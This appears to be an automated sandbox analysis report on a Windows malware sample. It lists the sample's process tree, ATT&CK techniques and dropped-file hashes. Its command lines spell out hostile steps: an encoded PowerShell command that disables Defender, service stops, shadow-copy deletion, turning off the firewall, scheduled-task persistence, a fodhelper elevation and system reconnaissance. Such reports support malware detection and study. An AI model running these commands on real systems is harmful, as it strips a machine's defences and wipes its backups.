description pid Process procid_target PID 2328 wrote to memory of 4148 2328 sutbongtvv.io_chrome.exe 84 PID 4148 wrote to memory of 4860 4148 chrome.exe 85 PID 2328 wrote to memory of 1728 2328 sutbongtvv.io_chrome.exe 86 PID 2328 wrote to memory of 4172 2328 sutbongtvv.io_chrome.exe 87 PID 2328 wrote to memory of 4664 2328 sutbongtvv.io_chrome.exe 89 PID 2328 wrote to memory of 4104 2328 sutbongtvv.io_chrome.exe 91 PID 2328 wrote to memory of 4380 2328 sutbongtvv.io_chrome.exe 94 PID 2328 wrote to memory of 2916 2328 sutbongtvv.io_chrome.exe 96 PID 2328 wrote to memory of 768 2328 sutbongtvv.io_chrome.exe 151 PID 2328 wrote to memory of 4108 2328 sutbongtvv.io_chrome.exe 100 PID 2328 wrote to memory of 1700 2328 sutbongtvv.io_chrome.exe 102 PID 2328 wrote to memory of 220 2328 sutbongtvv.io_chrome.exe 104 PID 4148 wrote to memory of 4600 4148 chrome.exe 105 PID 4148 wrote to memory of 4600 4148 chrome.exe 105 PID 2328 wrote to memory of 3936 2328 sutbongtvv.io_chrome.exe 106 PID 4148 wrote to memory of 4888 4148 chrome.exe 107 PID 4148 wrote to memory of 4376 4148 chrome.exe 108 PID 4148 wrote to memory of 4376 4148 chrome.exe 108 PID 4148 wrote to memory of 2508 4148 chrome.exe 111 PID 4148 wrote to memory of 2452 4148 chrome.exe 112 PID 4148 wrote to memory of 2508 4148 chrome.exe 111 PID 4148 wrote to memory of 2452 4148 chrome.exe 112 PID 2328 wrote to memory of 764 2328 sutbongtvv.io_chrome.exe 113 PID 4148 wrote to memory of 1160 4148 chrome.exe 114 PID 4148 wrote to memory of 1160 4148 chrome.exe 114 PID 2328 wrote to memory of 4500 2328 sutbongtvv.io_chrome.exe 148 PID 2328 wrote to memory of 696 2328 sutbongtvv.io_chrome.exe 118 PID 220 wrote to memory of 5044 220 fodhelper.exe 120 PID 4148 wrote to memory of 404 4148 chrome.exe 123 PID 4148 wrote to memory of 404 4148 chrome.exe 123 PID 2328 wrote to memory of 1676 2328 sutbongtvv.io_chrome.exe 126 PID 2328 wrote to memory of 2776 2328 sutbongtvv.io_chrome.exe 127 PID 2328 wrote to memory of 3864 2328 sutbongtvv.io_chrome.exe 167 PID 2328 wrote to memory of 208 2328 sutbongtvv.io_chrome.exe 134 PID 2328 wrote to memory of 3532 2328 sutbongtvv.io_chrome.exe 136 PID 2328 wrote to memory of 1876 2328 sutbongtvv.io_chrome.exe 137 PID 2328 wrote to memory of 2852 2328 sutbongtvv.io_chrome.exe 138 PID 2328 wrote to memory of 4448 2328 sutbongtvv.io_chrome.exe 139 PID 2328 wrote to memory of 1664 2328 sutbongtvv.io_chrome.exe 140 PID 2328 wrote to memory of 1080 2328 sutbongtvv.io_chrome.exe 141 PID 2328 wrote to memory of 1740 2328 sutbongtvv.io_chrome.exe 142 PID 2328 wrote to memory of 1804 2328 sutbongtvv.io_chrome.exe 150 PID 2852 wrote to memory of 768 2852 cmd.exe 151 PID 3532 wrote to memory of 1648 3532 cmd.exe 152 PID 1080 wrote to memory of 4724 1080 cmd.exe 153 PID 4448 wrote to memory of 5060 4448 cmd.exe 154 PID 1664 wrote to memory of 3776 1664 cmd.exe 155 PID 1876 wrote to memory of 944 1876 cmd.exe 156 PID 208 wrote to memory of 5020 208 cmd.exe 157 PID 5060 wrote to memory of 3948 5060 net.exe 158 PID 208 wrote to memory of 972 208 cmd.exe 159 PID 2328 wrote to memory of 1944 2328 sutbongtvv.io_chrome.exe 160 PID 2328 wrote to memory of 704 2328 sutbongtvv.io_chrome.exe 164 PID 2328 wrote to memory of 4432 2328 sutbongtvv.io_chrome.exe 166 PID 2328 wrote to memory of 1220 2328 sutbongtvv.io_chrome.exe 168 PID 2328 wrote to memory of 3080 2328 sutbongtvv.io_chrome.exe 170 PID 2328 wrote to memory of 3476 2328 sutbongtvv.io_chrome.exe 171 PID 2328 wrote to memory of 808 2328 sutbongtvv.io_chrome.exe 173 PID 1220 wrote to memory of 4736 1220 net.exe 179 PID 4148 wrote to memory of 3808 4148 chrome.exe 177 PID 4148 wrote to memory of 1624 4148 chrome.exe 187 PID 4148 wrote to memory of 5020 4148 chrome.exe 188 PID 4148 wrote to memory of 3808 4148 chrome.exe 189 PID 4148 wrote to memory of 4568 4148 chrome.exe 200 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://sutbongtvv.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8a785c728,0x7ff8a785c734,0x7ff8a785c7403⤵PID:4860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,7658208029394823073,9907310790011794113,262144 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1996 /prefetch:23⤵PID:4600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,16955961114766937417,15283258593310390711,524288 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2212 /prefetch:33⤵
- System Time Discovery
PID:4888
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2360,i,7511776117365436783,9416398986915544253,524288 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2484 /prefetch:83⤵PID:4376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3076,i,5819720081117144220,8334147154814605786,2097152 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3188 /prefetch:13⤵PID:2508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3088,i,6508563828032333071,9511896263387638881,2097152 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3236 /prefetch:13⤵PID:2452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4428,i,3896471218704365108,5811148383391253441,2097152 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4372 /prefetch:23⤵PID:1160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4660,i,8892954731599971329,5415338901788853834,2097152 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4672 /prefetch:13⤵PID:404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5716,i,10503373045029562920,3117749372956786709,524288 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5204 /prefetch:83⤵PID:3808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5208,i,4363015723652539620,12581227752188909461,524288 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5216 /prefetch:83⤵PID:1624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5204,i,14915174687672374594,4728379197541192904,524288 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5724 /prefetch:83⤵PID:5020
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5212,i,14851562957847466655,16517862755426221108,524288 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5196 /prefetch:83⤵PID:3808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3428,i,597002386246493901,6804118713253788397,262144 --field-trial-handle=2000,i,4968615647825848242,3782525808489206924,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4264 /prefetch:83⤵PID:4568
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1728
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4172
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4664
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4104
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4380
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2916
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:768
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4108
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1700
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe"3⤵PID:5044
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3936
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:764
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4500
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:696
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1676
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2776
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5020
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:972
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3532 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1648
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:944
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\whoami.exewhoami3⤵PID:768
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5060 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3948
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3776
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4500
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:4724
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1740
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1804
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1944
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:704
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:4432
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3864
-
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4736
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3080
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3476
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:808
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:1816
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5036
-
C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe1⤵PID:4244
-
C:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\sutbongtvv.io_chrome.exe1⤵PID:1624
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1788
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 54abceb06f5484a5749733da13bf1f5c SZ4HWO3LXk2ikn+/3k3QAw.0.1.0.0.01⤵PID:4736
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260811_113952.jpg
- Size 85KB
- SHA256 a94691eea4c03d7fbd5813ae834bd907e4af8c38a176a80ebea090fdc4e58833
- MD5 2ec0d8f69fce920f1b4b9547620d3b33
- SHA1 f96407de2ba3fc80b528d73a23ca178ab9eb90d4
- SHA512 2bce75037f9b57775d418fa55f8576129b7cdd458bfe1d73e6822370d512817e19744556a15b6cd7505d7f44914a25817679a7f059aee4a88c7479080f512b3a
- SSDEEP 1536:I+Oh/oRRRRRRRRRRR/1ax5kFJwjlNNVJ9utVVVVVVVVVVVVVVVVVVVVVVVVVVVVv:z6JA0xNnvutVVVVVVVVVVVVVVVVVVVVP
- TLSH T14F8380179D488B87A15843E9FD571DBC2F1A6B5CE9467AFF11224EDB3E512220C8E03E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 dc00e342923a655d17788036e9bf3fb1779c1df45d07f27c000c0d929813b185
- MD5 dc698366250c5f60b5e231ef27e17ae2
- SHA1 abd9a833579cc5c9138a725161b7a4828a8abe37
- SHA512 e30874f9dcf6ed5044d3d55b92edf070af0db3c7c44849d98a8e0d9b300da5b13de39b2c9f21c99d33e8b6b8501360db037f48b842579ab4b18fc391a5ef71fe
- SSDEEP 1536:OIBUhcx2wjB0BdIR1Xms95Sl9w1/tsH1+PjXQQdLkeSYr+V3PEQea:LBUhccwj6B4Mpy1FQSXQQGXYrWPEc
- TLSH T14C632A368F23FCD4777A3D80E0103D551C883E7B87B526BCFA841DAA28A5554DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 15af2ba44378708b210cd7683487bffacb28950320ed6f2e59d31b808d6eb5cc
- MD5 797a76eeebbe529973e83f1c6ea75dc2
- SHA1 7719cd39a41bf6a2db52b2d79e165a19f6035273
- SHA512 1b11e861eee1ef30fd7de247e3a1371dd9a9836b8cbecf323865954259dd0b445bc1f5cbe6b9830030d29af610e83804e11474c335398ed05baf79646e85bd14
- SSDEEP 1536:uIBUhcx2wjB0BdIR1Xms95Sl9w1/tsH1+PjXQQdLkeSYr+V3PEQet:rBUhccwj6B4Mpy1FQSXQQGXYrWPE/
- TLSH T1F5531A368F23FCD4777A3D80E0503D551C883E7B87B526BCFA841DAA28A5154DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 d91e526a0fa74cff23d6a93e04e012654a9da693b0fdc8907332738d4119a930
- MD5 8b6d1c3f49f2a587d692268498993f58
- SHA1 17c365a264f301a4ac6b97afb1ae73f87b65fc11
- SHA512 7bda10063e202f0a3d7cdf8bcc389e22832222ff6cc6aa6cf68134281be925a915d2bd5ac4dc3dbc0c9af4fcf5c6cd6ba24869d335a20bd19f537437a29b9735
- TLSH T12BE02B69D861FC3718FD0718A4501781D754239B2A40C94F7B3DC12D8FB56364595D5E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004
- Size 55KB
- SHA256 156b8b355e9a9d9499bf2dfadbba07778c28f7dbeef528017aade7ff5a4e03e2
- MD5 d494eec0a6d439c691c8471b1d4d9dd3
- SHA1 4f33f6d8910a9ed34eacf7f7ffbaed0842397a4b
- SHA512 0b42ca5172480cd0463e0116251b9daf9cf06a495018dbb2e1f00b3f02feccaaaa1ad9140a6f535fed60c997d22236409b27b1d387dcc21aa2dcca7879d97e57
- SSDEEP 1536:KcGpIx7B7USDI1H4JWmFa82eKWvQnU8olthJ/kYYKL9OsA7rL:spIx7DsHszY74kilrlk1UZAXL
- TLSH T1864302518C3ACCEBD0E37C4D56CAF4E40E500BA565554489EECE426501B3FE75FA5C1A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 432B
- SHA256 5ce73601391925086bbcf232f65e1e939aaab38b36362bc7052e7b21dbca834f
- MD5 63f6cd2d4ce7315bbdfdada765d5c843
- SHA1 1a640c43ace471068971072ed51c1fc11c181acf
- SHA512 1030c47d6a7ddc86eff25a142aed9e8a94684328e93902d45ccf2406c2d1c338ab7112998c23cc70633d734f9b923588f2bfc29476f0d826e39ecf1ba9511e71
- TLSH T1ECE0862554E290F3FF2B93B805B31B646D97CD2F060367331888AC6463675C1C939577
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 4KB
- SHA256 b79c1a00c58001cce86d443cc842ae9caafc30ed91d7cd7fc6c30087fbfbb2a6
- MD5 960b6d7543a4114c9f14fa2567aab3b7
- SHA1 782ef11ae3f3d064863fcf979ea31928a8103341
- SHA512 7278cd7fdeccca72ca86c2f2e3d591287f135bc734ca31e0e62c9a832a239dd4f1236d3614f6f38ac478158987bae1aec1a97308448d87b519d08b2917995324
- SSDEEP 48:YALlLA9RLfghfSaXYfo7EdKsxgmzse4szQDqzseqMsNLs60zsTABswr6WzsTHqYD:DQkMaIaEdrh8D+qpn6Jr6fHqfQh
- TLSH T182917AB7C3E4996D8A1155F4AB112E1BCE6E0A28435C3D6ACDD8AE1F93E2472D24064F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
